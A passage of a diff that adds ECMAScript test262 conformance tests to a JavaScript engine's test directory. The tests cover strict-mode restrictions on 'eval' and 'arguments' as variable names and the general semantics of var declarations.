+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-25-s.js
+ * @description arguments as local var identifier throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var arguments, a;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-26-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-26-s.js
new file mode 100644
index 000000000..b4e24356f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-26-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-26-s.js
+ * @description eval as local var identifier throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var a, eval;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-27-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-27-s.js
new file mode 100644
index 000000000..8f08b1b2a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-27-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-27-s.js
+ * @description eval as local var identifier assigned to throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var eval = 42, a;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-28-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-28-s.js
new file mode 100644
index 000000000..ea6d73a0c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-28-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-28-s.js
+ * @description arguments as local var identifier assigned to throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var a, arguments = 42;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-29-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-29-s.js
new file mode 100644
index 000000000..4b389d966
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-29-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-29-s.js
+ * @description eval as local var identifier throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var eval, a = 42;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-3-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-3-s.js
new file mode 100644
index 000000000..6f207527e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-3-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-3-s.js
+ * @description eval - a function expr declaring a var named 'eval' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('(function () { var eval; })');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-30-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-30-s.js
new file mode 100644
index 000000000..8998405d0
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-30-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-30-s.js
+ * @description arguments as local var identifier throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var a = 42, arguments;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-31-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-31-s.js
new file mode 100644
index 000000000..305af43d2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-31-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-31-s.js
+ * @description eval as local var identifier defined twice throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var eval, eval;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-32-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-32-s.js
new file mode 100644
index 000000000..b68ecb63d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-32-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-32-s.js
+ * @description arguments as local var identifier defined twice and assigned once throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var arguments, arguments = 42;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-33-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-33-s.js
new file mode 100644
index 000000000..1a54c5e5b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-33-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-33-s.js
+ * @description arguments as local var identifier throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var a, arguments, b;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-34-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-34-s.js
new file mode 100644
index 000000000..c41cb67a6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-34-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-34-s.js
+ * @description 'for(var eval in ...) {...}' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('for (var eval in null) {};');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-35-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-35-s.js
new file mode 100644
index 000000000..41eaacabf
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-35-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-35-s.js
+ * @description 'for(var eval = 42 in ...) {...}' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('for (var eval = 42 in null) {};');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-36-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-36-s.js
new file mode 100644
index 000000000..f33169483
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-36-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-36-s.js
+ * @description 'for(var arguments in ...) {...}' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('for (var arguments in null) {};');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-37-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-37-s.js
new file mode 100644
index 000000000..2a134a665
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-37-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-37-s.js
+ * @description 'for(var arguments = 42 in ...) {...}' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('for (var arguments = 42 in null) {};');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-4-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-4-s.js
new file mode 100644
index 000000000..2eef4faaa
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-4-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-4-s.js
+ * @description eval - a function expr assigning into 'eval' throws a SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('(function () { eval = 42; })()');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-4gs.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-4gs.js
new file mode 100644
index 000000000..add5e144d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-4gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-4gs.js
+ * @description Strict Mode - SyntaxError is thrown if a VariableDeclarationNoIn occurs within strict code and its Identifier is arguments
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+throw NotEarlyError;
+var arguments; \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-5-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-5-s.js
new file mode 100644
index 000000000..8644c4a20
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-5-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-5-s.js
+ * @description Strict Mode - a Function declaring var named 'eval' does not throw SyntaxError
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+ Function('var eval;');
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-6-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-6-s.js
new file mode 100644
index 000000000..2db1c2bf8
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-6-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-6-s.js
+ * @description eval - a Function assigning into 'eval' will not throw any error if contained within strict mode and its body does not start with strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ var f = Function('eval = 42;');
+ f();
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-7-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-7-s.js
new file mode 100644
index 000000000..fec5ae659
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-7-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-7-s.js
+ * @description eval - a direct eval declaring a var named 'eval' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('var eval;');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-8-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-8-s.js
new file mode 100644
index 000000000..385808d44
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-8-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-8-s.js
+ * @description eval - a direct eval assigning into 'eval' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('eval = 42;');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError) ;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-9-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-9-s.js
new file mode 100644
index 000000000..6479cc174
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-9-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-9-s.js
+ * @description Strict Mode: an indirect eval declaring a var named 'eval' does not throw
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+ var s = eval;
+ s('var eval;');
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/browser.js b/js/src/tests/test262/ch12/12.2/12.2.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/browser.js
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/shell.js b/js/src/tests/test262/ch12/12.2/12.2.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/shell.js
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A1.js b/js/src/tests/test262/ch12/12.2/S12.2_A1.js
new file mode 100644
index 000000000..520daebf5
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A1.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Variables are created when the program is entered. Variables are initialised to "undefined"
+ * when created. A variable with an Initialiser is assigned the value of its AssignmentExpression when the
+ * VariableStatement is executed, not when the variable is created
+ *
+ * @path ch12/12.2/S12.2_A1.js
+ * @description Creating variables after entering the execution scope
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ __x = __x;
+ __y = __x ? "good fellow" : "liar"; // __y assigned to "liar" since __x undefined
+ __z = __z === __x ? 1 : 0; // __z assigned to 1 since both __x and __z are undefined
+} catch (e) {
+ $ERROR('#1: Using declarated variable before it declaration is admitted');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try{
+ __something__undefined = __something__undefined;
+ $ERROR('#2: "__something__undefined = __something__undefined" lead to throwing exception');
+} catch(e){
+ $PRINT(e.message);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if ((__y !== "liar")&(__z !== 1)) {
+ $ERROR('#3: (__y === "liar") and (__z === 1). Actual: __y ==='+__y+' and __z ==='+__z );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __x, __y = true, __z = __y ? "smeagol" : "golum";
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (!__y&!(__z = "smeagol")) {
+ $ERROR('#4: A variable with an Initialiser is assigned the value of its AssignmentExpression when the VariableStatement is executed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A10.js b/js/src/tests/test262/ch12/12.2/S12.2_A10.js
new file mode 100644
index 000000000..b85f957b2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A10.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "var" statement within "for" statement is allowed
+ *
+ * @path ch12/12.2/S12.2_A10.js
+ * @description Declaring variable within a "for" IterationStatement
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ __ind=__ind;
+} catch (e) {
+ $ERROR('#1: var inside "for" is admitted '+e.message);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+for (var __ind;;){
+ break;
+}
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A11.js b/js/src/tests/test262/ch12/12.2/S12.2_A11.js
new file mode 100644
index 000000000..392d4e74b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A11.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When using property attributes, {ReadOnly} is not used
+ *
+ * @path ch12/12.2/S12.2_A11.js
+ * @description Changing variable value using property attributes
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+this['__declared__var'] = "baloon";
+if (this['__declared__var'] !== "baloon") {
+ $ERROR('#1: this[\'__declared__var\'] === "baloon". Actual: this[\'__declared__var\'] ==='+ this['__declared__var'] );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__declared__var !== "baloon") {
+ $ERROR('#2: __declared__var === "baloon". Actual: __declared__var ==='+ __declared__var );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __declared__var;
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A12.js b/js/src/tests/test262/ch12/12.2/S12.2_A12.js
new file mode 100644
index 000000000..d69e27539
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A12.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * VariableDeclaration within "do-while" loop is allowed
+ *
+ * @path ch12/12.2/S12.2_A12.js
+ * @description Declaring variable within "do-while" statement
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ x=x;
+} catch (e) {
+ $ERROR('#1: Declaration variable inside "do-while" statement is admitted');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+do var x; while (false);
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A2.js b/js/src/tests/test262/ch12/12.2/S12.2_A2.js
new file mode 100644
index 000000000..5f7de5abc
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A2.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Variables are defined with global scope (that is, they are created as members of the global object, as described in 10.1.3) using property attributes { DontDelete}
+ *
+ * @path ch12/12.2/S12.2_A2.js
+ * @description Checking if deleting global variables that have the attributes {DontDelete} fails
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (delete(__variable)) {
+ $ERROR('#1: delete(__variable)===false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (delete(this["__variable"])) {
+ $ERROR('#2: delete(this["__variable"])===false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+var __variable;
+var __variable = "defined";
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (delete(__variable) | delete(this["__variable"])) {
+ $ERROR('#3: (delete(__variable) | delete(this["__variable"]))===false' );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if ((__variable !== "defined")|(this["__variable"] !=="defined")) {
+ $ERROR('#4: __variable === "defined" and this["__variable"] ==="defined"');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A3.js b/js/src/tests/test262/ch12/12.2/S12.2_A3.js
new file mode 100644
index 000000000..5c0845ad2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A3.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionDeclaration produces a new scope
+ *
+ * @path ch12/12.2/S12.2_A3.js
+ * @description Using Global scope and Function scope together
+ */
+
+var __var = "OUT";
+
+(function(){
+ var __var ="IN";
+ (function(){__var = "INNER_SPACE";})();
+ (function(){var __var = "INNER_SUN";})();
+ //////////////////////////////////////////////////////////////////////////////
+ //CHECK#1
+ if (__var !== "INNER_SPACE") {
+ $ERROR('#1: __var === "INNER_SPACE". Actual: __var ==='+ __var );
+ }
+ //
+ //////////////////////////////////////////////////////////////////////////////
+})();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__var !== "OUT") {
+ $ERROR('#2: __var === "OUT". Actual: __var ==='+ __var );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+(function(){
+ __var ="IN";
+ (function(){__var = "INNERED"})();
+ (function(){var __var = "INNAGER"})();
+ //////////////////////////////////////////////////////////////////////////////
+ //CHECK#3
+ if (__var!=="INNERED") {
+ $ERROR('#3: __var==="INNERED". Actual: __var==='+ __var );
+ }
+ //
+ //////////////////////////////////////////////////////////////////////////////
+})();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (__var!=="INNERED") {
+ $ERROR('#4: __var==="INNERED". Actual: __var==='+ __var );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A4.js b/js/src/tests/test262/ch12/12.2/S12.2_A4.js
new file mode 100644
index 000000000..17f5c6a87
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Unicode characters in variable Identifier are allowed
+ *
+ * @path ch12/12.2/S12.2_A4.js
+ * @description Create and use unicode characters in variable Identifier
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ __var=__var;
+} catch (e) {
+ $ERROR('#1: Unicode characters in variable Identifier allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var \u005f\u005f\u0076\u0061\u0072 = 1;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__var !== 1) {
+ $ERROR('#2: __var === 1. Actual: __var ==='+ __var );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A5.js b/js/src/tests/test262/ch12/12.2/S12.2_A5.js
new file mode 100644
